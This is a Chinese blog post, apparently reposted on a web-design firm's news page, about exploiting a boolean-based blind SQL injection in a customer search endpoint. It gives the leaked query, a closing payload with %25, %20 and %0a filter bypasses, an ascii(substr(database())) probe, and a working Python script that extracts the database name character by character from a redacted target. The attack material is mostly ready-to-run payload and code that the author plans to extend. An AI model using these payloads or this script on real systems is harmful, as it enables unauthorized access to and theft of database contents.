如何进行布尔型盲注的PY交易分析

今天就跟大家聊聊有关如何进行布尔型盲注的PY交易分析,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。

成都创新互联公司主营奉贤网站建设的网络公司,主营网站建设方案,App定制开发,奉贤h5小程序开发搭建,奉贤网站营销推广欢迎奉贤等地区企业咨询

经过上一篇的良好反馈,我正好在项目中发现了这个布尔型漏洞,就编写了本篇文章,主体格式一样,但内容针对不同,下次看看在弄个什么的PY交易好,让我再想想。

确定问题点

在这次的测试过程中发现了一个注入点,通过测试发现返回包内包含了sql语句,确认可以注入,开始了这次的注入尝试。

首先我们可以确认这是一个GET型数据调用,本以为是简单的报错注入,应该可以直接利用sqlmap进行漏洞的利用,但现实狠狠的给了我一个耳光。sqlmap根本法利用这个漏洞,但返回的数据包中实打实出现我数据库语句,所以我把返回的数据库语句拿出来,开始了一点点的构造进程。

如何进行布尔型盲注的PY交易分析

复制出来的数据库语句:

SELECT count(0) FROM customer c WHERE c.dealership_id = ? AND c.active = true AND (c.full_name LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%' OR c.phone_number LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%' OR c.phone_number_sub1 LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%' OR c.phone_number_sub2 LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%')

二、测试命令语句

经过实验,发现报错内容不同,可说明与参数确实可以影响数据库语句。但返回的内容需要进行闭合而且返回内容不可以利用,所以可以排除报错等类型注入形式,可以探测的注入类型就仅剩下两种了:时间型盲注,布尔型盲注直接在目标后加入测试语句。

构造数据库语句:

%'){测试语句}AND(c. full_name like '%test

返回成功,实现语句闭合(此外利用了数据库模糊查询like %%),在测试过种发现存在过滤,单独%无法通过,空格无法通过,系统会返回404,针对之前爆出的数据库语句,利用%25和%20绕过对对单独%和空格的过滤构造出以上的数据库语句完成语句的闭合,成功返回200,确认可以返回正常数据包,并可以根据数据库语句的正确来进行布尔型盲注测试。

如何进行布尔型盲注的PY交易分析

接下来确认测试语句

27)and%0a(ascii(substr(database(),{1},1))={0})%0aAND(c.full_name%0alike%0a%27%25test

按位截取的形式进行匹配,确认数据库名称

三、工具思路

3.1 Post数据包利用

利用python的数据包发送来批量测试目标内容

和时间型盲注不同,布尔型盲注要根据返回数据包的不同来确认问题

%0a(ascii(substr(database(),{1},1))={0})%0a

利用find函数来查找返回的数据特征,判断是否成功得到注入数据

# coding:utf-8
import requests
import datetime
import time

headers = {
    头信息,自己添加
}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789@_.' 
database = ''
for j in range(1,11):
    for i in range(49,125):
        Url = 'https://xxxxxxxxxxxxxxxxxxxxxxxxxxxxx/find?pageNo=1&pageSize=20&searchWord=1%25%27)and%0a(ascii(substr(database(),{1},1))={0})%0aAND(c.full_name%0alike%0a%27%25test'
        UrlFormat = Url.format(i,j)      #format()函数使用
        r = requests.get(UrlFormat,headers=headers)
        d = r.content.find("Test")       #利用find函数来查找返回的数据特征,判断是否成功得到注入数据
        if d != -1:
            print(i)
            print chr(i)
            database += chr(i)
            print database
            break
        else:
            pass

四、以后的想法

对于代码的未来,有如下的想法

1.加入数据包直接调用的功能

2.针对0值永真的修改

3.进行线程上的优化

4.编写GET方法的代码

5.进行整体代码的逻辑重构(这个是吹NB)

看完上述内容,你们对如何进行布尔型盲注的PY交易分析有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注创新互联行业资讯频道,感谢大家的支持。


本文标题:如何进行布尔型盲注的PY交易分析
文章网址:http://pwwzsj.com/article/joijdi.html